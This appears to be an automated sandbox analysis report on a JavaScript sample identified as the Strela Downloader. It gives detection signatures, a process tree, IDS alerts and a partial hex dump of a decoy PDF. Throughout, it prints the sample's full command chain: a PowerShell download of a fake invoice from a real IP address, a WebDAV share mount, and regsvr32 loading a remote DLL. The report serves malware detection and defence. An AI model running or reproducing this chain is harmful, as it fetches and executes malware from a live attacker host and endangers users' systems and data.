Edit tour

Windows Analysis Report
18620271451234622924.js

Overview

General Information

Sample name:	18620271451234622924.js
Analysis ID:	1588709
MD5:	ed2446adea115f3e8e1cfd04a9a2de0e
SHA1:	15db34d9c44bd274d20c1ba737d4b6be03ebd325
SHA256:	5f16f9b525f064e273ce349b52957d5b9270f8934c25119d200dfb433439ce89
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 5372 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\18620271451234622924.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 4292 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\943211999159.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3224 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 1976 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 6640 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 348 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 5648 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1556,i,8809128848475989509,4982577557519076522,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 2380 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 1984 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 3116 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 5372	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\943211999159.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4292, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1976, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\943211999159.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4292, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1976, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\18620271451234622924.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\18620271451234622924.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\18620271451234622924.js", ProcessId: 5372, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 1984, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49705

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\943211999159.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\943211999159.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\18620271451234622924.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5372, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\943211999159.dll, ProcessId: 4292, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\943211999159.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\943211999159.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\18620271451234622924.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5372, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\943211999159.dll, ProcessId: 4292, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\943211999159.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\943211999159.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\18620271451234622924.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5372, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\943211999159.dll, ProcessId: 4292, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\943211999159.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\943211999159.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\18620271451234622924.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5372, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\943211999159.dll, ProcessId: 4292, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\943211999159.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\943211999159.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\18620271451234622924.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5372, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\943211999159.dll, ProcessId: 4292, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\18620271451234622924.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\18620271451234622924.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\18620271451234622924.js", ProcessId: 5372, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\943211999159.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4292, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1976, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2380, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 1984, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 3116, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2380, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 1984, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\943211999159.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\943211999159.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\18620271451234622924.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5372, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\943211999159.dll, ProcessId: 4292, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T04:29:22.981540+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T04:29:25.715815+0100	1810005	1	Potentially Bad Traffic	192.168.2.5	49705	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T04:29:22.981540+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 18620271451234622924.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 18620271451234622924.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.5:49704 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.5:49705 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 03:29:22 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

